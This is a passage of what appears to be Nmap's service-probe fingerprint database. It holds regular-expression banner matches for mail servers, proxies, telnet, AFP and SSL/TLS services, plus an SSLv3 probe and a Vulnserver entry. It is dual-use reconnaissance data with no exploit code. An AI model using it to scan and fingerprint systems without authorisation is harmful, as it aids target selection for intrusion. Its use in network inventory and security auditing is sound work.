Server ESMTP ready at .*\r\n241-\r\n$| p/BorderWare firewall smtpd/ d/firewall/ h/$1/ match smtp m|^220 ([-\w_.]+) ESMTP \r\n$| p/BorderWare firewall smtpd/ d/firewall/ h/$1/ match smtp m|^220 ([-\w_.]+)\r\n214-Commands supported:\r\n214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP\r\n| p/Exim smtpd/ h/$1/ cpe:/a:exim:exim/ match smtp m|^220 ([-\w_.]+) MailShield SMTP\r\n| p/MailShield smtpd/ h/$1/ match smtp m|^220 ([-\w_.]+)\r\n211 DATA EXPN HELO MAIL NOOP QUIT RCPT RSET SAML SEND SOML TURN VRFY\r\n| p/IMail smtpd/ o/Windows/ h/$1/ cpe:/a:ipswitch:imail/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) ESMTP\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/Linuxmagic qmail-based smtpd/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:linux:linux_kernel/a match smtp m|^220 ([-\w_.]+) ESMTP .*\r\n214-qmail home page: http://pobox\.com/~djb/qmail\.html\r\n214 qmail-ldap patch home page: http://www\.nrg4u\.com\r\n| p/qmail smtpd/ i/qmail-ldap support/ h/$1/ cpe:/a:djb:qmail/ match smtp m|^220-([-\w_.]+) ESMTP\r\n220-MagicMail Daemon with Built-In Anti-Spam\r\n220 See http://www\.linuxmagic\.com for info\r\n214 qmail home page: http://cr\.yp\.to/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/Linuxmagic qmail-based smtpd/ i/with Anti-Spam/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:linux:linux_kernel/a match smtp m|^220 ESMTP Service ready at .*\r\n214-Enter one of the following commands:\r\n214-HELO EHLO MAIL RCPT DATA RSET NOOP QUIT\r\n214 HELP \r\n| p/Lotus Domino smtpd/ cpe:/a:ibm:lotus_domino/ match smtp m|^220 ([-\w_.]+) ESMTP MTA\r\n214-This is Sendmail version AIX([\d.]+)/([\w.]+)\r\n| p/Sendmail/ v/$3/ i/AIX $2/ o/AIX/ h/$1/ cpe:/a:sendmail:sendmail:$3/ cpe:/o:ibm:aix/a match smtp m|^220 Service ESMTP Ready\r\n214-This is Sendmail version ([\d.]+) \((P[-\w_.]+)\)\r\n.*future enhancements, contact your HP representative|s p/Sendmail/ v/$1 patch $2/ o/HP-UX/ cpe:/a:sendmail:sendmail:$1p$2/ cpe:/o:hp:hp-ux/a match smtp m|^220 ([-\w_.]+)\r\n502 Command not implemented\r\n| p/IA Mailserver smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) ESMTP[^\r\n]*\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) .*\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) - Ready at .*\r\n214-Commands:\r\n214- HELO MAIL RCPT DATA RSET NOOP QUIT\r\n214- For more info use 'HELP '\.\r\n214 End of HELP info\r\n| p/NTMail smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 ESMTP Service ready\r\n500 Command unrecognized\r\n$| p/Zoe Java smtpd/ match smtp m|^220 ([-\w_.]+) \r\n502 Command not implemented\r\n$| p/SmarterMail smtpd/ o/Windows/ h/$1/ cpe:/a:smartertools:smartermail/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) ESMTP [-\w_.]+ Mail Server ([\d.]+); .*\r\n214-2\.0\.0 This is [-\w_.]+ Mail Server [-\w_.]+\r\n214-2\.0\.0 Topics:\r\n| p/Merak Mail Server smtpd/ v/$2/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 WebMail ESMTP\r\n502 negative vibes\r\n| p/Mozilla Thunderbird WebMail plugin smtpd/ cpe:/a:mozilla:thunderbird/ match smtp m|^220 Mail Server\r\n211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP\r\n| p/MailEnable Enterprise/ v/2.0.x/ o/Windows/ cpe:/a:mailenable:mailenable:2.0:-:enterprise/ cpe:/o:microsoft:windows/a match smtp m|^220 Welcome to the mail server\.\r\n211 DATA EXPN HELO MAIL NOOP QUIT RCPT RSET SAML SEND SOML TURN VRFY\r\n| p/Ipswitch iMail smtpd/ o/Windows/ cpe:/o:microsoft:windows/a match smtp m|^220 .*\r\n214-This is ArGoSoft Mail Server Pro for WinNT/2000/XP, Version [-\w_.]+ \(([-\w_.]+)\)\r\n| p/ArGoSoft Pro smtpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match smtp m|^220 ArGoSoft Mail Server Freeware, Version [-\w_.]+ \(([-\w_.]+)\)\r\n| p/ArGoSoft Freeware smtpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) Service ready\.\r\n214- Valid commands are:\r\n214- HELO MAIL RCPT DATA RSET QUIT NOOP\r\n214- HELP VRFY\r\n214- Commands not valid are:\r\n214- SEND SOML SAML TURN\r\n214- Mail forwarding handled by this server\.\r\n| p|i5/OS V5R4M0 or OS/400 smtpd| h/$1/ match smtp m|^220 Simple Mail Tranfer Service Ready \r\n502 Commande not implement \r\n| p/Brother printer smtpd/ d/printer/ match smtp m|^220 ([-\w_.]+) ESMTP server is ready\r\n.*214-Copyright \(c\) 1995-2004, Stalker Software, Inc\.\r\n|s p/Stalker Software CommuniGate smtpd/ h/$1/ cpe:/a:stalker:communigate/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp m|^220 \[[-\w_.]+\] Courier Mail Server ([-\w_.]+) ESMTP service ready\r\n| p/Courier MSA smtpd/ v/$1/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-This is qpsmtpd \r\n214-See http://smtpd\.develooper\.com/\r\n| p/qpsmtpd smtpd/ h/$1/ cpe:/a:ask_bjorn_hansen:qpsmtpd/ match smtp m|^220 ([-\w_.]+) ESMTP Generic Ready\r\n502 Command not implemented\.\r\n| p/MailMarshal smtpd/ h/$1/ match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP\r\n214-This is the SubEthaSMTP ([\w._-]+) server| p/SubEtha smtpd/ v/$2/ h/$1/ cpe:/a:voodoodyne:subethasmtp:$2/ match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP null\r\n| p/SubEtha smtpd/ h/$1/ cpe:/a:voodoodyne:subethasmtp/ match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP (\d[\w._-]*)\r\n| p/SubEtha smtpd/ v/$2/ h/$1/ cpe:/a:voodoodyne:subethasmtp:$2/ match smtp m|^220 ([\w_.-]+) ESMTP.*information about Email Mx, please see http://www\.openwave\.com\r\n|s p/Openwave Email Mx smtpd/ h/$1/ match smtp m|^220 ([\w_.-]+) Welcome\r\n214-ESMTP Mail Server\r\n214-Available commands:\r\n214- HELO EHLO MAIL RCPT DATA\r\n214- RSET NOOP QUIT HELP VRFY\r\n214- AUTH ETRN\r\n214-For information on a specific command, type \"HELP \"\.\r\n214 OK\r\n| p/SurgeMail smtpd/ h/$1/ cpe:/a:netwin:surgemail/ match smtp m|^220 ([\w_.-]+) ESMTP\r\n214-Run 'info anubis' or visit http://www\.gnu\.org/software/anubis/manual/\r\n214 End of HELP info\r\n$| p/GNU Anubis/ h/$1/ cpe:/a:gnu:anubis/ # hMailServer 4.4.1-B273 match smtp m|^220 ([\w_.-]+)\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n| p/hMailServer/ h/$1/ # Maybe too general, but the greeting was unique. match smtp m|^220 .+\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer/ match smtp m|^220 ([\w._-]+) -=- ESMTP\r\n502 unknown command\.\r\n| p/PineApp SeCure SoHo smtpd/ h/$1/ cpe:/a:pineapp:mail-secure/ match smtp m|^220 Ready to receive mail2 -=- ESMTP\r\n502 unknown command\.\r\n| p/PineApp SeCure SoHo smtpd/ cpe:/a:pineapp:mail-secure/ match smtp m|^220 ([\w._-]+) ESMTP service ready\r\n214 2\.0\.0 try reading the RFCs: http://www\.imc\.org/rfcs\.html\r\n| p/PowerMTA smtpd/ h/$1/ match smtp m|^220 SMTP\r\n214-Usage: HELP \r\n214-Topics:\r\n214-\tHELO EHLO MAIL RCPT DATA\r\n214-\tVRFY EXPN RSET NOOP QUIT\r\n214 End of HELP info\r\n| p/Trend Micro IMSS smtpd/ v/7.0/ o/Windows/ cpe:/o:microsoft:windows/a match smtp m|^220 ([\w._-]+) ESMTP\r\n214-2\.0\.0 These commands are recognised:\r\n214 2\.0\.0 DATA EHLO HELO HELP MAIL NOOP QUIT RCPT RSET\r\n| p/Koto Internet Services smtpd/ h/$1/ match smtp m|^220 ([\w._-]+) ESMTP\r\n250 2\.0\.0 See http://www\.ietf\.org/rfc/rfc2821\r\n| p|Plan 9 upas/smtpd| o/Plan 9/ h/$1/ cpe:/o:belllabs:plan_9/a match smtp m|^220 ([\w._-]+) Service ready\r\n214-Commands:\r\n214-\tHELO\tEHLO\tMAIL\tRCPT\tRSET\tNOOP\r\n214-\tQUIT\tHELP\tDATA\tAUTH\tVRFY\tEXPN\r\n214-\r\n214-For more info use \"HELP \"\r\n214 End of HELP info\r\n| p/Gattaca Server smtpd/ h/$1/ match smtp m|^250 Ok, but unimplemented\r\n220 EventMachine SMTP Server\r\n| p/Mailcatcher smtpd/ match smtp m|^220 uniFLOW SMTP Email Gateway\r\n500 Sorry, not implemented\r\n| p|NT-ware uniFLOW/MOM smtpd| match smtp-proxy m|^220 SMTP service ready\r\n214-Commands:\r\n214-\tDATA\tRCPT\tMAIL\tQUIT\tRSET\r\n214 \tHELO\tVRFY\tEXPN\tHELP\tNOOP\r\n| p/WatchGuard smtp proxy/ d/firewall/ match smtp-proxy m|^220 ready\r\n214-Commands:\r\n214- HELO MAIL RCPT DATA\r\n214- RSET NOOP QUIT HELP\r\n214- VRFY EXPN\r\n214-For more info use HELP \r\n214 End of HELP info\r\n| p/602LAN Suite smtpd/ o/Windows/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 ([-\w_.]+) SMTP service ready\r\n214 Help message\r\n| p/CA Secure Content smtp proxy/ h/$1/ match smtp-proxy m|^421 ([-\w_.]+) is too busy\. Please try again later\.\r\n| p/Surfcontrol smtp proxy/ h/$1/ match smtp-proxy m|^220 ([-\w_.]+) SMTP; .*\r\n500 Syntax error, command unrecognized\.\r\n| p/Anti-Spam SMTP Proxy/ h/$1/ match smtp-proxy m|^220 WebShield SMTP MR2\r\n| p/McAfee WebShield smtp proxy/ o/Windows/ cpe:/a:mcafee:webshield_smtp/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 SMTP Proxy Server Ready\r\n250 \+OK entry follows, ends in \.\r\n| p/IronMail CipherTrust SMTP Proxy/ cpe:/a:ciphertrust:ironmail/ match smtp-proxy m|^220 SMTP SDC Ready\r\n250 \+OK entry follows, ends in \.\r\n| p/IronMail SMTP proxy/ cpe:/a:ciphertrust:ironmail/ match smtp-proxy m|^220 ([-\w_.]+) SMTP; .* \+\d{4}\r\n500 Syntax error, command unrecognized\r\n| p/Symantec Mail Security smtp proxy/ o/Windows/ h/$1/ cpe:/a:symantec:mail_security/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 ([\w._-]+) Symantec Mail Security | p/Symantec Mail Security smtp proxy/ o/Windows/ h/$1/ cpe:/a:symantec:mail_security/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 ([-\w_.]+) ESMTP smtprelay service ready\.\r\n214-This is smtprelay\r\n214-Topics:| p/Genua smtprelay/ d/security-misc/ h/$1/ match smtp-proxy m|^220 SMTP ESMTP ready at .*0\r\n214-\r\n214 End of HELP info\r\n| p/SurfControl smtp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 ([-\w_.]+)\r\n214-HELO domain\r\n214-EHLO domain\r\n214-QUIT\r\n214-MAIL FROM: \[options\]\r\n| p/RedCondor smtp proxy/ h/$1/ match smtp-proxy m|^220 ([-\w_.]+) ESMTP Ready\r\n211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP\r\n| p/NoSpamToday! smtp proxy/ h/$1/ match smtp-proxy m|^220 ([-\w_.]+) SMTP Relay Service ready\r\n500 Syntax error, command unrecognized\r\n| p/Tumbleweed Email Firewall smtp proxy/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match smtp-proxy m|^220 ([\w._-]+) AngelmatoPhylax SMTP proxy\r\n214 see RFC2821\r\n| p/AngelmatoPhylax smtp proxy/ h/$1/ match smtp-proxy m|^503 Synchronization error\r\n| p/Altospam smtp proxy/ match smtp-proxy m|^220 ([\w._-]+)\r\n214-Usage: HELP \r\n214-Topics:\r\n214-\tHELO EHLO MAIL RCPT DATA\r\n214-\tVRFY EXPN RSET NOOP QUIT\r\n214 End of HELP info\r\n| p/Barracuda Networks Spam Firewall/ h/$1/ cpe:/h:barracudanetworks:spam_%26_virus_firewall_600:-/ match speechd m|^248- SPEAK -- say text \r\n248- KEY -- say a combination of keys \r\n248- CHAR -- say a character \r\n248- SOUND_ICON -- execute a sound icon \r\n248- SET -- set a parameter \r\n248- LIST -- list available arguments \r\n248- HISTORY -- commands related to history \r\n248- QUIT -- close the connection \r\n248 OK HELP SENT\r\n| p/Speech Dispatcher text to speech/ match tcpmux m|^(sgi_[-.\w]+\r\n(?:[-.\w]+\r\n)*)$| p/SGI IRIX tcpmux/ i/Available services: $SUBST(1, "\r\n", ",")/ o/IRIX/ cpe:/o:sgi:irix/a match telnet m|^\r\nLDK-300 System\r\nVersion ([\w._-]+) .*\r\nDATE: .*\r\nTIME: .*\r\nSITE NAME.*\r\nENTER PASSWORD: \*| p/AcerTelecom LDK-300 PBX telnetd/ v/$1/ d/PBX/ match telnet m|^HELP\r\n\n\x06 \nATHENA_READ\nATHENA_WRITE\nCHIPVAR_GET\nDEBUGTABLE\nDITEM\nDMEM\nDREG16\nDREG32\nDREG8\nDRV_CAT_FREE\nDRV_CAT_INIT\nDRV_NAME_GET\nDRV_VAL_GET\nDRV_VAL_SET\nEXIT\nGENIOCTL\nGETMIB\nHELP\nHYP_READ \nHYP_WRITE \nHYP_WRITEBUFFER\nITEM16\nITEM32\nITEM8\nITEMLIST\nMACCALIBRATE\nMACVARGET\nMACVARSET\nMEM_READ\nMEM_WRITE\nMTAPI\nPITEMLIST\nPRINT_LEVEL\nPROM_READ\nPROM_WRITE\nREAD_FILE\nREBOOT\nRECONF\nRG_CONF_GET\nRG_CONF_SET\nRG_SHELL\nSETMIB\nSHELL\nSTR_READ\nSTR_WRITE\nSYSTEM\nTEST32\nTFTP_GET\nTFTP_PUT\nVER\r\n00>$| p/OpenRG telnetd/ i|Cisco/Linksys WET610N wireless bridge| d/bridge/ o/Linux/ cpe:/o:linux:linux_kernel/a # http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html match vulnserver m|^Welcome to Vulnerable Server! Enter HELP for help\.\nValid Commands:\nHELP\nSTATS \[stat_value\]\nRTIME \[rtime_value\]\nLTIME \[ltime_value\]\nSRUN \[srun_value\]\nTRUN \[trun_value\]\nGMON \[gmon_value\]\nGDOG \[gdog_value\]\nKSTET \[kstet_value\]\nGTER \[gter_value\]\nHTER \[hter_value\]\nLTER \[lter_value\]\nKSTAN \[lstan_value\]\nEXIT\n$| p/Vulnserver/ o/Windows/ cpe:/o:microsoft:windows/ match nut m|^Commands: HELP VER GET LIST SET INSTCMD LOGIN LOGOUT USERNAME PASSWORD STARTTLS\n| p/Network UPS Tools upsd/ match nut m|^Commands: VER REQ HELP LISTVARS LOGOUT LOGIN PASSWORD LISTRW VARTYPE VARDESC ENUM SET INSTCMD LISTINSTCMD INSTCMDDESC FSD MASTER USERNAME STARTTLS\n| p/Network UPS Tools upsd/ # Written in 1986. More info at # http://ftp.rge.com/pub/X/X11R5/contrib/xwebster.README match webster m|^DICTIONARY server protocol:\r\n\r\nContact name is| p/Webster dictionary server/ match xmpp-transport m|^\x05\xff$| p/Spectrum XMPP file transfer/ softmatch smtp m|^220[\s-].*smtp[^\r]*\r\n214[\s-]|i softmatch ftp m|^220[\s-].*ftp[^\r]*\r\n214[\s-]|i ##############################NEXT PROBE############################## # SSLv3 ClientHello probe. Will be able to reliably identify the SSL version # used, unless the server is running SSLv2 only. Note that it will also detect # TLSv1-only servers, based on a failed handshake alert. Probe TCP SSLSessionReq q|\x16\x03\0\0S\x01\0\0O\x03\0?G\xd7\xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0(\0\x16\0\x13\0\x0a\0f\0\x05\0\x04\0e\0d\0c\0b\0a\0`\0\x15\0\x12\0\x09\0\x14\0\x11\0\x08\0\x06\0\x03\x01\0| rarity 1 ports 261,271,322,324,443,444,448,465,548,563,585,636,684,853,989,990,992-995,1241,1311,1443,2000,2221,2252,2376,2443,3443,4433,4443,4444,4911,5061,5443,5550,5868,5986,6251,6443,6679,6697,7000,7210,7272,7443,8009,8181,8194,8443,8531,8883,9001,9443,10443,14443,15002,44443,60443 fallback GetRequest # Unknown service on Vingtor-Stentofon IP intercom echoes only up to the first \n, so softmatching until we know more. softmatch echo m|^\x16\x03\0\0S\x01\0\0O\x03\0\?G\xd7\xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\x82\{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0\(\0\x16\0\x13\0\n| # OpenSSL/0.9.7aa, 0.9.8e match ssl m|^\x16\x03\0\0J\x02\0\0F\x03\0| p/OpenSSL/ i/SSLv3/ cpe:/a:openssl:openssl/ # Microsoft-IIS/5.0 - note that OpenSSL must go above this one because this is more general match ssl m|^\x16\x03\0..\x02\0\0F\x03\0|s p/Microsoft IIS SSL/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a # Novell Netware 6 Enterprise Web server 5.1 https # Novell Netware Ldap over SSL or enterprise web server 5.1 over SSL match ssl m|^\x16\x03\0\0:\x02\0\x006\x03\0| p/Novell NetWare SSL/ o/NetWare/ cpe:/o:novell:netware/a # Cisco IDS 4.1 Appliance match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0\xd10:\xbd\\\x8e\xe3\x15\x1c\x0fZ\xe4\x04\x87\x07\xc0\x82\xa9\xd4\x0e\x9c1LXk\xd1\xd2\x0b\x1a\xc6/p\0\0\n\0\x16\x03\0\x026\x0b\0\x022\0| p/Cisco IDS SSL/ d/firewall/ # PGP Corporation Keyserver Web Console 7.0 - custom Apache 1.3 # PGP LDAPS Keyserver 8.X match ssl m|^\x16\x03\0\0\+\x02\0\0'\x03\0...\?|s p/PGP Corporation product SSL/ # Unreal IRCd SSL # RemotelyAnywhere match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0\?| # Tumbleweed SecureTransport 4.1.1 Transaction Manager Secure Port on Solaris # Dell Openmanage match ssl m|^\x15\x03[\x01\x00]\0\x02\x01\0$| p/multi-vendor SSL/ # Probably Oracle https? match ssl m|^}\0\x02\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Oracle https/ match ssl m|^\x15\x03\0\0\x02\x02\(31666:error:1408A0C1:SSL routines:SSL3_GET_CLIENT_HELLO:no shared cipher:s3_srvr\.c:881:\n| p/Webmin SSL Control Panel/ match ssl m|^20928:error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol:s23_srvr\.c:565:\n| p/qmail-pop3d behind stunnel/ cpe:/a:djb:qmail/ match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0B| p/Tor over SSL/ cpe:/a:torproject:tor/ match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*IOS-Self-Signed-Certificate|s p/Cisco IOS ssl/ d/router/ match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*\nCalifornia.*\tPalo Alto.*\x0cVMware, Inc\..*\x1bVMware Management Interface|s p/VMware management interface SSLv3/ match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*\x0edropbox-client0|s p/Dropbox client SSLv3/ cpe:/a:dropbox:dropbox/ match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*vCenterServer_([\w._-]+)|s p/VMware ESXi Server httpd/ v/$1/ cpe:/o:vmware:esxi:$1/ # Alert (Level: Fatal, Description: Protocol Version|Handshake Failure) match ssl m|^\x15\x03[\x00-\x03]\0\x02\x02[F\x28]| # Alert (Level: Warning, Description: Close Notify) match ssl m|^\x15\x03[\x00-\x03]\0\x02\x01\x00| # Sophos Message Router match ssl/sophos m|^\x16\x03\0.*Router\$([a-zA-Z0-9_-]+).*Sophos EM Certification Manager|s p/Sophos Message Router/ h/$1/ match ssl/sophos m|^\x16\x03\0.*Sophos EM Certification Manager|s p/Sophos Message Router/ match ssl/openvas m|^\x16\x03\x01\0J\x02\0\0F\x03\x01| p/OpenVAS server/ # Generic: TLSv1.3 ServerHello match ssl m|^\x16\x03\x03..\x02...\x03\x03|s p/TLSv1.2/ # Generic: TLSv1.2 ServerHello match ssl m|^\x16\x03\x02..\x02...\x03\x02|s p/TLSv1.1/ # Generic: TLSv1.1 ServerHello match ssl m|^\x16\x03\x01..\x02...\x03\x01|s p/TLSv1.0/ # Generic: SSLv3 ServerHello match ssl m|^\x16\x03\0..\x02...\x03\0|s p/SSLv3/ # SSLv3 - TLSv1.3 Alert match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s match adabas m|^,\0,\0\x03\x02\0\0G\xd7\xf7\xbaO\x03\0\?\x05\0\0\0\0\x02\x18\0\xfd\x0b\0\0<=\xdbo\xef\x10n \xd5\x96\xc8w\x9b\xe6\xc4\xdb$| p/ADABAS database/ # Apple Filing Protocol (AFP) over TCP on Mac OS X # Sometimes we can get a host name or an IP address; those with come before those without. # These are mostly sorted by the flags field. # Flags \x80\xfb. match afp m|^\x01\x03\0\0........\0\0\0\0........\x80\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x05\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 2.2; Mac OS X 10.1.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.1/ # Flags \x83\xfb. match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x06\x06AFP3\.1\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x06\x06AFP3\.1\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\x06Recon1\rClient Krb v20\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ # Flags \x8f\xfa. match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfa.([^\0\x01]+)[\0\x01].*\tMacintosh\x01\x06AFP3\.1.\tDHCAST128|s p/Apple Airport Extreme AFP/ i/name: $1; protocol 3.1/ d/WAP/ cpe:/h:apple:airport_extreme/ # Flags \x8f\xfb. match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver/([-\w_.@]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\x06Recon1\rClient Krb v2\x0fNo User Authent\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([-\w_.@]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.2; Mac OS X 10.5 Server/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x_server:10.5/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ match afp m=^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5 - 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ cpe:/o:apple:mac_os_x:10.6/ # Patched version of OS X 10.5 may match these too... wait for corrections match afp 